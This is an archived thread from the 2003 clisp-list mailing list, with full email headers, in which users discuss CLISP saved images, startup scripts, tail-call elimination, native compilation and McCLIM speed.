Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] thanks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 08:23:02 2003 X-Original-Date: Thu, 4 Dec 2003 09:22:04 -0700 Thank you everyone who answered my questions... You've helped a lot. Blake From BlakeTNC@yahoo.com Thu Dec 04 08:39:55 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARwWB-0006Xi-Ti for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 08:39:55 -0800 Received: from fed1mtao01.cox.net ([68.6.19.244]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ARwWB-0006Ee-GQ for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 08:39:55 -0800 Received: from PURSOYXP ([68.99.218.40]) by fed1mtao01.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with SMTP id <20031204163932.OCSL3322.fed1mtao01.cox.net@PURSOYXP> for ; Thu, 4 Dec 2003 11:39:32 -0500 From: "Blake D" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal X-Spam-Score: 0.5 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] survey: native compilation/lispworks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 08:40:05 2003 X-Original-Date: Thu, 4 Dec 2003 09:39:57 -0700 Who here is interested in adding a native compilation option to clisp for each platform that it supports? I know that I for one would be willing to dedicate significant time to such a project. Speed is important to the server programs I am writing, and currently my only choices for cross platform native compilation of lisp for Windows, Linux, and Macintosh, are LispWorks and Allegro. Speaking of which, can anyone here give an opinion on the LispWorks product line? They charge $1000 for the professional version for each platform. I know they have an evaluation, but it would be great to get the opinion of someone who has used the product a significant amount. Blake From sds@alphatech.com Thu Dec 04 09:32:13 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARxKn-0002SJ-CI for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 09:32:13 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ARxKm-00024I-RJ for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 09:32:12 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB4HVxS23336; Thu, 4 Dec 2003 12:31:59 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, "Steven E. Harris" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Steven E. Harris's message of "Thu, 04 Dec 2003 07:54:53 -0800") References: <200312032008.hB3K8Wqo003498@van-halen.alma.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 09:33:03 2003 X-Original-Date: Thu, 04 Dec 2003 12:31:58 -0500 > * Steven E. Harris [2003-12-04 07:54:53 -0800]: > > You can also load your code into CLISP, dump an image > (ext:saveinitmem), then load that image at startup with the -M > command-line option. Then all your startup program has to do is call > on some other function loaded as part of the saved image, possibly > after inspecting some command-line arguments. > > Your user-visible "program" could then look like: > > ,---- > | #!/usr/local/bin/clisp -norc -M lispinit.mem > | > | (do-it) > | (ext:exit) EXIT is not needed - script exits when the file ends > `---- you can just create an alias to /usr/local/bin/clisp -norc -M lispinit.mem -x '(do-it)' moreover, you can make you image run DO-IT on startup (see ) and then "clisp -M lispinit.mem" will run your stuff. -- Sam Steingold (http://www.podval.org/~sds) running w2k If you want it done right, you have to do it yourself From xur@wp.pl Thu Dec 04 09:36:52 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARxPI-0002q7-Je for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 09:36:52 -0800 Received: from ofree.wp-sa.pl ([212.77.101.203] helo=smtp.wp.pl) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1ARxPH-0002r7-VE for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 09:36:52 -0800 Received: (WP-SMTPD 16350 invoked from network); 4 Dec 2003 17:36:37 -0000 Received: from uc126.neoplus.adsl.tpnet.pl (HELO darkstar) (xur@[80.54.83.126]) (envelope-sender ) by smtp.wp.pl (wp-smtpd) with SMTP for ; 4 Dec 2003 17:36:37 -0000 From: Szymon To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: questions Message-ID: References: In-Reply-To: User-Agent: elmo/0.8.3 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: 8bit X-AntiVirus: skaner antywirusowy poczty Wirtualnej Polski S. A. X-WP-ChangeAV: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 09:37:08 2003 X-Original-Date: Thu, 04 Dec 2003 18:35:57 +0100 Hi. > > Does clisp have tail recursion optimization to prevent stack overflows > > on deep recursions? > > no. why ? regards, szymon. From sds@alphatech.com Thu Dec 04 09:42:19 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARxUZ-0003QK-Ky for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 09:42:19 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ARxUZ-0007Dr-4Z for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 09:42:19 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB4Hg9S28137; Thu, 4 Dec 2003 12:42:09 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, "Blake D" Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Blake D.'s message of "Thu, 4 Dec 2003 09:39:57 -0700") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: survey: native compilation/lispworks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 09:43:02 2003 X-Original-Date: Thu, 04 Dec 2003 12:42:09 -0500 > * Blake D [2003-12-04 09:39:57 -0700]: > > Who here is interested in adding a native compilation option to clisp > for each platform that it supports? Stefan Kain worked on a bytecode->C compiler. I am not sure how far he got. The idea is to eliminate to cost of interpret_bytecode_() function in eval.d, which would speed up CLISP by up to 50%. If you want a full-scale "Sufficiently Smart Compiler" with type inferencing &c &c &c, your effort is probably better spent porting CMUCL and/or SBCL to win32 & Mac. > I know that I for one would be willing to dedicate significant time to > such a project. Personally, I think that it is more important to get MT & CLIM working on CLISP (and speed-wise, optional tail-call - not just recursive! - elimination is a better bang/buck optimization). YMMV. > Speed is important to the server programs I am writing, A better way might be to turn your bottlenecks to C and link them to CLISP as modules. > Speaking of which, can anyone here give an opinion on the LispWorks > product line? You might have better luck on this if you asked comp.lang.lisp. -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From seharris@raytheon.com Thu Dec 04 10:00:20 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARxm0-0004an-Io for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 10:00:20 -0800 Received: from bos-gate4.raytheon.com ([199.46.198.233]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ARxm0-0005N7-0y for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 10:00:20 -0800 Received: from ds02e00.directory.ray.com (ds02e00.directory.ray.com [147.25.130.245]) by bos-gate4.raytheon.com (8.12.10/8.12.10) with ESMTP id hB4I09NV024443 for ; Thu, 4 Dec 2003 13:00:18 -0500 (EST) Received: from ds02e00.directory.ray.com (localhost [127.0.0.1]) by ds02e00.directory.ray.com (8.12.10/8.12.1) with ESMTP id hB4I04oJ022504 for ; Thu, 4 Dec 2003 18:00:08 GMT Received: Received: from L75001820.sdo.us.ray.com ([192.27.58.82]) by ds02e00.directory.ray.com (8.12.10/8.12.9) with ESMTP id hB4I02WB022479 sender seharris@raytheon.com for ; Thu, 4 Dec 2003 18:00:02 GMT Received: from sharr by L75001820.sdo.us.ray.com with local (Exim 4.24) id HPDTXO-000F7W-M9 for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 09:58:36 -0800 To: clisp-list@lists.sourceforge.net References: <200312032008.hB3K8Wqo003498@van-halen.alma.com> From: "Steven E. Harris" Organization: Raytheon Mail-Followup-To: clisp-list@lists.sourceforge.net In-Reply-To: (Sam Steingold's message of "Thu, 04 Dec 2003 12:31:58 -0500") Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) XEmacs/21.4 (Rational FORTRAN, cygwin32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 10:01:01 2003 X-Original-Date: Thu, 04 Dec 2003 09:58:36 -0800 Sam Steingold writes: > EXIT is not needed - script exits when the file ends Ah, I see. My mistake, per below. > you can just create an alias to > > /usr/local/bin/clisp -norc -M lispinit.mem -x '(do-it)' Yes, for very simple scripts like this one. I was cheating with my example, though. My startup script is actually about ten lines long. It's stuff that I didn't feel like building into the image as I toyed with the user interface of the script. > moreover, you can make you image run DO-IT on startup (see > ) and then "clisp > -M lispinit.mem" will run your stuff. Yes, I have experimented with the :INIT-FUNCTION argument to EXT:SAVEINITMEM. That must have been where I picked up the use of the EXT:EXIT function being required at the end. I found that using this feature was limiting. My scenario: build a single image with as a "library" or union of functionality, with lots of little startup scripts each calling some different "application" entry point in that image. I guess one could do the same thing by having the :INIT-FUNCTION check which command name was invoked on the command-line and decide what to do from there. There's enough flexibility in there to do the same job in many ways. It's a great system. -- Steven E. Harris :: seharris@raytheon.com Raytheon :: http://www.raytheon.com From toy@rtp.ericsson.se Thu Dec 04 10:09:36 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARxuy-0005BT-Nc for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 10:09:36 -0800 Received: from imr1.ericy.com ([198.24.6.9]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ARxuy-0001jp-EC for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 10:09:36 -0800 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id hB4I9VWm028352 for ; Thu, 4 Dec 2003 12:09:31 -0600 (CST) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id YGLPXBJD; Thu, 4 Dec 2003 12:09:28 -0600 Received: from edgedsp7.rtp.ericsson.se (edgedsp7.rtp.ericsson.se [147.117.85.227]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id hB4I9RD18389 for ; Thu, 4 Dec 2003 12:09:29 -0600 (CST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: survey: native compilation/lispworks References: From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Thu, 04 Dec 2003 12:42:09 -0500") Message-ID: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (celeriac, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 10:10:01 2003 X-Original-Date: Thu, 04 Dec 2003 13:09:27 -0500 >>>>> "Sam" == Sam Steingold writes: Sam> Personally, I think that it is more important to get MT & CLIM working Sam> on CLISP (and speed-wise, optional tail-call - not just recursive! - Do you think clisp could run McCLIM fast enough to be usable? Just curious. McCLIM is pretty slow with cmucl on a 400 MHz sparc box. It's pretty slow on a 900 MHz x86 box too. Ray From sds@alphatech.com Thu Dec 04 10:42:45 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARyR3-0007LD-Oj for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 10:42:45 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ARyR3-0008Qd-7O for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 10:42:45 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB4IgWS16095; Thu, 4 Dec 2003 13:42:33 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Szymon Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Szymon's message of "Thu, 04 Dec 2003 18:35:57 +0100") References: Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: questions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 10:43:01 2003 X-Original-Date: Thu, 04 Dec 2003 13:42:32 -0500 > * Szymon [2003-12-04 18:35:57 +0100]: > >> > Does clisp have tail recursion optimization to prevent stack overflows >> > on deep recursions? >> no. > why ? debuggability -- Sam Steingold (http://www.podval.org/~sds) running w2k Every day above ground is a good day. From sds@alphatech.com Thu Dec 04 10:45:07 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARyTL-0007XY-1p for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 10:45:07 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ARyTH-0000rX-F1 for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 10:45:03 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB4IirS16993; Thu, 4 Dec 2003 13:44:54 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Raymond Toy Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> (Raymond Toy's message of "Thu, 04 Dec 2003 13:09:27 -0500") References: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: survey: native compilation/lispworks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 10:46:01 2003 X-Original-Date: Thu, 04 Dec 2003 13:44:53 -0500 > * Raymond Toy [2003-12-04 13:09:27 -0500]: > >>>>>> "Sam" == Sam Steingold writes: > > Sam> Personally, I think that it is more important to get MT & > Sam> CLIM working on CLISP > > Do you think clisp could run McCLIM fast enough to be usable? yes. I don't think CLISP is _that_ much slower than CMUCL. can you try it? > McCLIM is pretty slow with cmucl on a 400 MHz sparc box. > It's pretty slow on a 900 MHz x86 box too. wow. -- Sam Steingold (http://www.podval.org/~sds) running w2k Abandon all hope, all ye who press Enter. From toy@rtp.ericsson.se Thu Dec 04 10:53:55 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARybr-00085Q-DN for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 10:53:55 -0800 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ARybr-0005G9-19 for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 10:53:55 -0800 Received: from eamrcnt751.exu.ericsson.se (eamrcnt751.exu.ericsson.se [138.85.133.52]) by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id hB4IrnYb014829 for ; Thu, 4 Dec 2003 12:53:49 -0600 (CST) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt751.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id Y2B7YHFB; Thu, 4 Dec 2003 12:53:49 -0600 Received: from edgedsp7.rtp.ericsson.se (edgedsp7.rtp.ericsson.se [147.117.85.227]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id hB4IrlD19958 for ; Thu, 4 Dec 2003 12:53:48 -0600 (CST) To: clisp-list@lists.sourceforge.net References: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Thu, 04 Dec 2003 13:44:53 -0500") Message-ID: <4nbrqo4dok.fsf@edgedsp7.rtp.ericsson.se> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (celeriac, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: survey: native compilation/lispworks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 10:54:04 2003 X-Original-Date: Thu, 04 Dec 2003 13:53:47 -0500 >>>>> "Sam" == Sam Steingold writes: >> * Raymond Toy [2003-12-04 13:09:27 -0500]: >> >>>>>>> "Sam" == Sam Steingold writes: >> Sam> Personally, I think that it is more important to get MT & Sam> CLIM working on CLISP >> >> Do you think clisp could run McCLIM fast enough to be usable? Sam> yes. I don't think CLISP is _that_ much slower than CMUCL. Sam> can you try it? I can try, but I'm not motivated to do anything more than just compiling it and running a few demos. I don't use mcclim at all. :-) >> McCLIM is pretty slow with cmucl on a 400 MHz sparc box. >> It's pretty slow on a 900 MHz x86 box too. Sam> wow. I think that's subjective. I think mozilla is pretty slow on these boxes too. Far slower than Netscape 4.x. Ray From xur@wp.pl Thu Dec 04 11:29:39 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ARzAR-0001oF-M0 for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 11:29:39 -0800 Received: from smtp.wp.pl ([212.77.101.160]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1ARzAR-0005Ii-6D for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 11:29:39 -0800 Received: (WP-SMTPD 22425 invoked from network); 4 Dec 2003 19:29:30 -0000 Received: from uc126.neoplus.adsl.tpnet.pl (HELO darkstar) (xur@[80.54.83.126]) (envelope-sender ) by smtp.wp.pl (wp-smtpd) with SMTP for ; 4 Dec 2003 19:29:30 -0000 From: Szymon To: clisp-list@lists.sourceforge.net Subject: another newbie question ([clisp-list] Re: questions) Message-ID: References: In-Reply-To: User-Agent: elmo/0.8.3 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: 8bit X-AntiVirus: skaner antywirusowy poczty Wirtualnej Polski S. A. X-WP-ChangeAV: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 11:30:02 2003 X-Original-Date: Thu, 04 Dec 2003 20:28:49 +0100 Hi. > >> > Does clisp have tail recursion optimization to prevent stack overflows > >> > on deep recursions? > >> no. "no" ---> both interpreted & compiled code? > > why ? > debuggability Thanks. Does compilation (in clisp) transform tail-recursion to loops? For example: before compilation I can execute tail-rec fuction ~3000 times (clisp -m2MB), after compile '... 30000+ (no time to test it longer). regards, szymon. From sds@alphatech.com Thu Dec 04 12:34:56 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AS0Bc-0006DR-Os for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 12:34:56 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AS0Bc-00030J-8a for clisp-list@lists.sourceforge.net; Thu, 04 Dec 2003 12:34:56 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB4KYkS19799; Thu, 4 Dec 2003 15:34:47 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Raymond Toy Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nbrqo4dok.fsf@edgedsp7.rtp.ericsson.se> (Raymond Toy's message of "Thu, 04 Dec 2003 13:53:47 -0500") References: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> <4nbrqo4dok.fsf@edgedsp7.rtp.ericsson.se> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: survey: native compilation/lispworks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Dec 4 12:35:07 2003 X-Original-Date: Thu, 04 Dec 2003 15:34:46 -0500 > * Raymond Toy [2003-12-04 13:53:47 -0500]: > > Sam> Personally, I think that it is more important to get MT & > Sam> CLIM working on CLISP > Sam> can you try it? > > I can try, but I'm not motivated to do anything more than just > compiling it and running a few demos. please do. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) `(,x ',x)) '(lambda (x) `(,x ',x))) From sds@alphatech.com Thu Dec 04 12:36:35 2003 Received: from 